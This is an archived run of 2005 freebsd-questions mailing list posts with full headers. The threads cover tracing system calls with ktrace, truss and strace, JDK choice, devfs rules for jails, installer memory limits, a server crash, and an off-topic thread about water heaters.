/usr/local/linux-sun-jdk1.4.2 -CM From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 17:20:59 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 39B6316A4CE for ; Tue, 8 Feb 2005 17:20:59 +0000 (GMT) Received: from smtphost.cis.strath.ac.uk (smtphost.cis.strath.ac.uk [130.159.196.96]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2644843D2F for ; Tue, 8 Feb 2005 17:20:58 +0000 (GMT) (envelope-from chodgins@cis.strath.ac.uk) Received: from [192.168.0.4] (chrishodgins.force9.co.uk [84.92.20.141]) j18HKape023796; Tue, 8 Feb 2005 17:20:36 GMT Message-ID: <4208F605.9060402@cis.strath.ac.uk> Date: Tue, 08 Feb 2005 17:25:25 +0000 From: Chris Hodgins User-Agent: Mozilla Thunderbird 1.0 (X11/20050204) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Dan Nelson References: <20050208115928.GE8619@alzatex.com> <20050208162429.GA82752@dan.emsphone.com> In-Reply-To: <20050208162429.GA82752@dan.emsphone.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-CIS-MailScanner-Information: Please contact support@cis.strath.ac.uk for more information X-CIS-MailScanner: Found to be clean X-CIS-MailScanner-SpamCheck: not spam, SpamAssassin (score=0, required 6) X-CIS-MailScanner-From: chodgins@cis.strath.ac.uk cc: "Loren M. Lang" cc: FreeBSD Mailing list Subject: Re: ktrace as a replacement for strace X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 17:20:59 -0000 Dan Nelson wrote: > In the last episode (Feb 08), Loren M. Lang said: > >>I'm looking for a replacement for the strace program I used to use on >>linux; freebsd has a port of strace, but it just hangs everytime I >>use it. It looks like the bsd version of strace would be >>ktrace/kdump. I was able to get these to print a trace of the >>program I ran, but it doesn't do all the nice substatuting that >>strace was able to do. Mainly, I just want the first argument of open >>to look like a string instead of a 32 bit pointer that I can't read. >>I'm trying to figure out what files this program is trying to read so >>I can edit it's configuration file. > > > The string in the NAMI line immediately after an open() call is the > filename in kdump output. > > strace actually does work, but I think it's losing a race when it > forks the child process. Try suspending and resuming strace: > > (dan@dan.4) /home/dan> strace date > > ^Z > zsh: 62219 suspended strace date > [1] + suspended strace date > (dan@dan.4) /home/dan> fg > [1] + continued strace date > execve(0xbfbfdef4, [0xbfbfe3b8], [/* 0 vars */]) = 0 > mmap(0, 3920, PROT_READ|PROT_WRITE, MAP_ANON, -1, 0) = 0x28071000 > munmap(0x28071000, 3920) = 0 > ... > > strace hasn't been updated in a while, though, and has problems parsing > newer syscalls. Take a look at the truss command in the base system, > which does about the same thing as strace. Ktrace has the advantage > that it's less intrusive; both strace and truss have to stop the > process to print out data, which really slow it down. > Is truss still being fixed to work without procfs or is ktrace a better replacement? Chris From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 17:30:38 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 69D0E16A4CE for ; Tue, 8 Feb 2005 17:30:38 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 293DE43D46 for ; Tue, 8 Feb 2005 17:30:38 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CyZC9-000Fow-Fy; Tue, 08 Feb 2005 10:30:37 -0700 In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v619) Message-Id: <24E75F66-79F7-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Tue, 8 Feb 2005 10:30:36 -0700 To: "Ted Mittelstaedt" X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) cc: freebsd-questions@freebsd.org Subject: Re: Electricity bill - OT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 17:30:38 -0000 On Feb 8, 2005, at 4:19 AM, Ted Mittelstaedt wrote: > > >> -----Original Message----- >> From: owner-freebsd-questions@freebsd.org >> [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Chad Leigh -- >> Shire.Net LLC >> Sent: Monday, February 07, 2005 8:29 PM >> To: freebsd-questions@freebsd.org >> Subject: Re: Electricity bill - OT >> >> >> >> A lot of new-built houses in the US are installing continuous >> circulation systems for hot water, which greatly reduces the time the >> HW heater is running, since when you turn on the hot water, you get >> instantaneous hot water and don't have to run a ton of water before it >> gets hot, which reduces the amount of HW wasted. > > This is a gimmick built to sell houses, a cool one, but only in hot > climates does it make much difference. In cooler climates the heat > from the standing water in the pipes just makes the furnace run less, > thus the savings are a wash. That does not make sense. The savings is in running the hot water heater less. Houses that care about energy efficiency have the hot water pipes insulated anyway so it would not help in cooler climes. The goal is to run the hot water heater less, which you achieve when you constantly circulate the hot water through the hot water pipes, instead of letting it get cold and have to run a ton when you need a lot of water. > >> Also, the new >> tankless HW heaters look interesting... >> > > those have been around for at least 20 years. As most of them are > electric, not natural gas, your going to pay more money for heating > water with a bunch of those than with a central gas water heater. > The ones I have seen, the newer models, are GAS and are very efficient. Maybe you need to get out more? Chad From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 17:35:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2CADE16A4CE for ; Tue, 8 Feb 2005 17:35:06 +0000 (GMT) Received: from chen.org.nz (chen.org.nz [210.54.19.51]) by mx1.FreeBSD.org (Postfix) with ESMTP id DD38643D3F for ; Tue, 8 Feb 2005 17:35:05 +0000 (GMT) (envelope-from jonc@chen.org.nz) Received: by chen.org.nz (Postfix, from userid 1000) id 45CD55647C; Wed, 9 Feb 2005 06:35:04 +1300 (NZDT) Date: Wed, 9 Feb 2005 06:35:04 +1300 From: Jonathan Chen To: Chad Morland Message-ID: <20050208173504.GA47758@osiris.chen.org.nz> References: <8ca9329050208091625c28d07@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <8ca9329050208091625c28d07@mail.gmail.com> User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@freebsd.org Subject: Re: Best JDK for performance? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 17:35:06 -0000 On Tue, Feb 08, 2005 at 12:16:11PM -0500, Chad Morland wrote: > Which JDK gives the best performance on FreeBSD? I have the following > installed from ports: > > /usr/local/jdk1.4.2 > /usr/local/linux-sun-jdk1.4.2 I don't know about best performance, but for stability, the native one is the one to go with. -- Jonathan Chen ---------------------------------------------------------------------- If you're right 90% of the time, why quibble about the remaining 3%? From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 17:46:59 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7198216A4CE for ; Tue, 8 Feb 2005 17:46:59 +0000 (GMT) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by mx1.FreeBSD.org (Postfix) with ESMTP id EDE2743D5C for ; Tue, 8 Feb 2005 17:46:58 +0000 (GMT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.13.1/8.13.1) id j18HkrKe085042; Tue, 8 Feb 2005 11:46:53 -0600 (CST) (envelope-from dan) Date: Tue, 8 Feb 2005 11:46:53 -0600 From: Dan Nelson To: Chris Hodgins Message-ID: <20050208174653.GB82752@dan.emsphone.com> References: <20050208115928.GE8619@alzatex.com> <20050208162429.GA82752@dan.emsphone.com> <4208F605.9060402@cis.strath.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4208F605.9060402@cis.strath.ac.uk> X-OS: FreeBSD 5.3-STABLE X-message-flag: Outlook Error User-Agent: Mutt/1.5.6i cc: "Loren M. Lang" cc: FreeBSD Mailing list Subject: Re: ktrace as a replacement for strace X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 17:46:59 -0000 In the last episode (Feb 08), Chris Hodgins said: > Is truss still being fixed to work without procfs or is ktrace a > better replacement? There hasn't been any work on ptrace-ing truss in almost two years. It works fine with procfs though. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 17:47:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8770916A4CE for ; Tue, 8 Feb 2005 17:47:21 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5E93F43D2F for ; Tue, 8 Feb 2005 17:47:21 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CyZSI-000LeP-5C; Tue, 08 Feb 2005 10:47:19 -0700 In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v619) Message-Id: <7944EB9F-79F9-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Tue, 8 Feb 2005 10:47:17 -0700 To: r p X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) cc: freebsd-questions@freebsd.org Subject: Re: jail /dev X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 17:47:21 -0000 On Feb 8, 2005, at 8:32 AM, r p wrote: > Hi, > > I've set up a jail and am getting confused about setting up the > devices. The name of the jail is "jail" and it's directory is > "/usr/jail". I am using 5.3-Release. I have tried three methods, one > that works, two that don't. > > At the moment what I'm doing is "mount_devfs devfs /usr/jail/dev" then > going into the jail and deleting the devices that I (think) I don't > need/shouldn't have available. This works, but brings up the problem > that I don't know what devices I should leave in and which I > shouldn't. > > I tried adding the line "jail_jail_devfs_ruleset=4" along with other > suggested lines relating to jails to /etc/rc.conf, but this resulted > in an error message at bootup; "WARNING: devfs_set_ruleset: you must > specify a ruleset number". I am getting the number ("4") from the > "/etc/defaults/devfs.rules" file. I have the following in my jail startup script devfs_domount /local/2/hobbiton/dev devfsrules_jail devfs_set_ruleset devfsrules_jail /local/2/hobbiton/dev /sbin/devfs -m /local/2/hobbiton/dev rule -s 4 applyset I am not sure which one is working but one of them is :-) I will have to debug it some more and simplify this Chad From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 18:01:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 06D7116A4CE for ; Tue, 8 Feb 2005 18:01:40 +0000 (GMT) Received: from asmtp04.eresmas.com (asmtp04.eresmas.com [62.81.235.144]) by mx1.FreeBSD.org (Postfix) with ESMTP id 77A3E43D1D for ; Tue, 8 Feb 2005 18:01:39 +0000 (GMT) (envelope-from ea1abz@wanadoo.es) Received: from [192.168.108.51] (helo=mx01.eresmas.com) by asmtp04.eresmas.com with esmtp (Exim 4.30) id 1CyZg9-0006St-6n; Tue, 08 Feb 2005 19:01:37 +0100 Received: from [80.103.53.138] (helo=[80.103.53.138]) by mx01.eresmas.com with asmtp (Exim 4.41) id 1CyZg8-0001lA-FE; Tue, 08 Feb 2005 19:01:37 +0100 Message-ID: <4208FE82.5030808@wanadoo.es> Date: Tue, 08 Feb 2005 19:01:38 +0100 From: Ramiro Aceves User-Agent: Mozilla Thunderbird 0.9 (X11/20041124) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Kris Kennaway References: <200502072107.38331.me@danielquinn.org> <20050207222811.U24265@frambozen.monochrome.org> <200502072252.53881.danstemporaryaccount@yahoo.ca> <20050208040333.GA32748@xor.obsecurity.org> <4208EF03.8070904@wanadoo.es> <20050208170002.GA43599@xor.obsecurity.org> In-Reply-To: <20050208170002.GA43599@xor.obsecurity.org> X-Enigmail-Version: 0.89.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Score: 0.0 (/) cc: questions@FreeBSD.org Subject: Re: >16MB memory requirement for 5.3 install (Re: cracked outfloppy install) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 18:01:40 -0000 > > Sounds like memory is indeed the issue then - is the original poster > able to confirm this? If so, one of you should submit a PR requesting > that the docs be updated. > > Kris Hello Kris. I posted my experiences in the thread "Confirmed: 5.3 installation do not work with 16 MB RAM" on 11th-january-2005 post to this list. There was another person that confirmed it there. If you think so, we can fill a bug report. Thank you. Ramiro. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 18:03:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F1D3F16A4CE for ; Tue, 8 Feb 2005 18:03:02 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id E232943D3F for ; Tue, 8 Feb 2005 18:03:00 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j18I2XGf005359 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 8 Feb 2005 10:02:34 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j18I2Xo5005357; Tue, 8 Feb 2005 10:02:33 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Tue, 8 Feb 2005 10:02:33 -0800 From: "Loren M. Lang" To: Dan Nelson Message-ID: <20050208180233.GF8619@alzatex.com> References: <20050208115928.GE8619@alzatex.com> <20050208162429.GA82752@dan.emsphone.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050208162429.GA82752@dan.emsphone.com> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: "Loren M. Lang" cc: FreeBSD Mailing list Subject: Re: ktrace as a replacement for strace X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 18:03:03 -0000 On Tue, Feb 08, 2005 at 10:24:29AM -0600, Dan Nelson wrote: > In the last episode (Feb 08), Loren M. Lang said: > > I'm looking for a replacement for the strace program I used to use on > > linux; freebsd has a port of strace, but it just hangs everytime I > > use it. It looks like the bsd version of strace would be > > ktrace/kdump. I was able to get these to print a trace of the > > program I ran, but it doesn't do all the nice substatuting that > > strace was able to do. Mainly, I just want the first argument of open > > to look like a string instead of a 32 bit pointer that I can't read. > > I'm trying to figure out what files this program is trying to read so > > I can edit it's configuration file. > > The string in the NAMI line immediately after an open() call is the > filename in kdump output. Oh, I never noticed this since I was using grep to filter out the open suyscalls. In strace everything is in one line. Is there anything then that will work like the -e option in strace so I can list just the syscalls I want to see? > > strace actually does work, but I think it's losing a race when it > forks the child process. Try suspending and resuming strace: > > (dan@dan.4) /home/dan> strace date > > ^Z > zsh: 62219 suspended strace date > [1] + suspended strace date > (dan@dan.4) /home/dan> fg > [1] + continued strace date > execve(0xbfbfdef4, [0xbfbfe3b8], [/* 0 vars */]) = 0 > mmap(0, 3920, PROT_READ|PROT_WRITE, MAP_ANON, -1, 0) = 0x28071000 > munmap(0x28071000, 3920) = 0 > ... This does work. > > strace hasn't been updated in a while, though, and has problems parsing > newer syscalls. Take a look at the truss command in the base system, > which does about the same thing as strace. Ktrace has the advantage > that it's less intrusive; both strace and truss have to stop the > process to print out data, which really slow it down. > > -- > Dan Nelson > dnelson@allantgroup.com -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 18:04:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 998C116A4CE for ; Tue, 8 Feb 2005 18:04:00 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1B10D43D39 for ; Tue, 8 Feb 2005 18:04:00 +0000 (GMT) (envelope-from snacktime2@gmail.com) Received: by wproxy.gmail.com with SMTP id 69so924939wra for ; Tue, 08 Feb 2005 10:03:59 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=MM2Hd432a6pnlLyDOBVUZp0WrYGUCK7GkRTexe0D/gvT9sUAn1+4LiVtNL3PRHQlZahz9QozKon8YNr0TFRPdQE3fsnrqhug5nF6L5uuR06hWf9RduaR1nnp39AyElKkGAgvMvCKOCur5ZYE/5zjTZ8Tq3TWwQC+V4Y/IG95sos= Received: by 10.54.51.44 with SMTP id y44mr104370wry; Tue, 08 Feb 2005 09:57:19 -0800 (PST) Received: by 10.54.40.24 with HTTP; Tue, 8 Feb 2005 09:57:19 -0800 (PST) Message-ID: <21fe04a8050208095747fa487a@mail.gmail.com> Date: Tue, 8 Feb 2005 09:57:19 -0800 From: Payment Online To: FreeBSD Questions Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: 5.3 release crash X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Payment Online List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 18:04:00 -0000 I just had a 5.3-release-p2 box crash on me. This box is in production so I don't have any debugging information whatsoever. However, I'm hoping someone could tell me if what I think caused it is possible/probable. Not long before it crashed I was running some stress tests against a new threaded server I was building in python by running 5-10 clients simultaneously for about an hour. Since this box has been stable for almost a year without any issues at all, I really doubt that it's a coincidence. Can anyone think of what issues with threads could cause a panic? Chris From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 18:05:17 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A3AAE16A4CE for ; Tue, 8 Feb 2005 18:05:17 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.197]) by mx1.FreeBSD.org (Postfix) with ESMTP id 297BC43D49 for ; Tue, 8 Feb 2005 18:05:17 +0000 (GMT) (envelope-from snacktime2@gmail.com) Received: by wproxy.gmail.com with SMTP id 70so2271383wra for ; Tue, 08 Feb 2005 10:05:13 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=mwcy0VlcUOFbV74ebqNsUDAccVkeP2zfwQ1q81QauCHntbQP7/eWFspr19j3kPntzobVhHpyvHdqBe/LSHg/6Zk5GPOBk+tzCNSq2w5aH04JTBePmtaYRcRWLo4nrPq9vQaJahLtPvP5zrwPfUWz8MaYvSz9Hcsn/yrkm+Z0rJw= Received: by 10.54.5.12 with SMTP id 12mr65770wre; Tue, 08 Feb 2005 10:05:13 -0800 (PST) Received: by 10.54.40.24 with HTTP; Tue, 8 Feb 2005 10:05:13 -0800 (PST) Message-ID: <21fe04a805020810053b383442@mail.gmail.com> Date: Tue, 8 Feb 2005 10:05:13 -0800 From: Payment Online To: FreeBSD Questions In-Reply-To: <21fe04a8050208095747fa487a@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <21fe04a8050208095747fa487a@mail.gmail.com> Subject: Re: 5.3 release crash X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Payment Online List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 18:05:17 -0000 On Tue, 8 Feb 2005 09:57:19 -0800, Payment Online wrote: > I just had a 5.3-release-p2 box crash on me. This box is in > production so I don't have any debugging information whatsoever. > However, I'm hoping someone could tell me if what I think caused it is > possible/probable. > > Not long before it crashed I was running some stress tests against a > new threaded server I was building in python by running 5-10 clients > simultaneously for about an hour. Since this box has been stable > for almost a year without any issues at all, I really doubt that it's > a coincidence. Can anyone think of what issues with threads could > cause a panic? > > Chris > One more thing, the threaded application was running in a jail. Not sure if that could make any difference. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 18:11:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D7D0D16A4CE for ; Tue, 8 Feb 2005 18:11:15 +0000 (GMT) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6671143D45 for ; Tue, 8 Feb 2005 18:11:13 +0000 (GMT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.13.1/8.13.1) id j18IBB2P049805; Tue, 8 Feb 2005 12:11:11 -0600 (CST) (envelope-from dan) Date: Tue, 8 Feb 2005 12:11:11 -0600 From: Dan Nelson To: "Loren M. Lang" Message-ID: <20050208181111.GC82752@dan.emsphone.com> References: <20050208115928.GE8619@alzatex.com> <20050208162429.GA82752@dan.emsphone.com> <20050208180233.GF8619@alzatex.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050208180233.GF8619@alzatex.com> X-OS: FreeBSD 5.3-STABLE X-message-flag: Outlook Error User-Agent: Mutt/1.5.6i cc: FreeBSD Mailing list Subject: Re: ktrace as a replacement for strace X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 18:11:16 -0000 In the last episode (Feb 08), Loren M. Lang said: > On Tue, Feb 08, 2005 at 10:24:29AM -0600, Dan Nelson wrote: > > In the last episode (Feb 08), Loren M. Lang said: > > > I'm looking for a replacement for the strace program I used to > > > use on linux; freebsd has a port of strace, but it just hangs > > > everytime I use it. It looks like the bsd version of strace > > > would be ktrace/kdump. I was able to get these to print a trace > > > of the program I ran, but it doesn't do all the nice substatuting > > > that strace was able to do. Mainly, I just want the first > > > argument of open to look like a string instead of a 32 bit > > > pointer that I can't read. I'm trying to figure out what files > > > this program is trying to read so I can edit it's configuration > > > file. > > > > The string in the NAMI line immediately after an open() call is the > > filename in kdump output. > > Oh, I never noticed this since I was using grep to filter out the > open suyscalls. In strace everything is in one line. Is there > anything then that will work like the -e option in strace so I can > list just the syscalls I want to see? grep -A1 "CALL open" is about the best you can do -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 18:15:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A365D16A4CE for ; Tue, 8 Feb 2005 18:15:39 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6363443D3F for ; Tue, 8 Feb 2005 18:15:39 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CyZti-000PjT-Ps; Tue, 08 Feb 2005 11:15:39 -0700 In-Reply-To: <200502081154510807.6B019BB4@mail.intradyn.com> References: <24E75F66-79F7-11D9-B134-000D933E3CEC@shire.net> <200502081154510807.6B019BB4@mail.intradyn.com> Mime-Version: 1.0 (Apple Message framework v619) Message-Id: <6EE4571F-79FD-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Tue, 8 Feb 2005 11:15:37 -0700 To: "Henry Miller" X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) cc: freebsd-questions@freebsd.org cc: Ted Mittelstaedt Subject: Re: Electricity bill - OT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 18:15:39 -0000 On Feb 8, 2005, at 10:54 AM, Henry Miller wrote: > > > On 2/8/2005 at 10:30 Chad Leigh -- Shire.Net LLC wrote: >> On Feb 8, 2005, at 4:19 AM, Ted Mittelstaedt wrote: >>>> -----Original Message----- >>>> From: owner-freebsd-questions@freebsd.org >>>> [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Chad Leigh > -- >>>> Shire.Net LLC >>>> Sent: Monday, February 07, 2005 8:29 PM >>>> To: freebsd-questions@freebsd.org >>>> Subject: Re: Electricity bill - OT >>>> >>>> A lot of new-built houses in the US are installing continuous >>>> circulation systems for hot water, which greatly reduces the time > the >>>> HW heater is running, since when you turn on the hot water, you get >>>> instantaneous hot water and don't have to run a ton of water before > it >>>> gets hot, which reduces the amount of HW wasted. >>> >>> This is a gimmick built to sell houses, a cool one, but only in hot >>> climates does it make much difference. In cooler climates the heat >>> from the standing water in the pipes just makes the furnace run > less, >>> thus the savings are a wash. >> >> That does not make sense. The savings is in running the hot water >> heater less. Houses that care about energy efficiency have the hot >> water pipes insulated anyway so it would not help in cooler climes. >> The goal is to run the hot water heater less, which you achieve when >> you constantly circulate the hot water through the hot water pipes, >> instead of letting it get cold and have to run a ton when you need a >> lot of water. > > That does not make sense. IF the pipes were perfectly insulated there > would be no need for this loop because the water in the pipes would be > hot. However there is no perfect insulation, so you keep the water in > the pipes warm by re-circulating it. Each time water goes through the > pipes it loses a little heat, which the water heater then has to make > up for. So these loops waste energy, but it is considered worth it > because you get hot water without having to wait. The data I saw a year or two ago showed that these were more energy efficient than the standard model of waiting for a 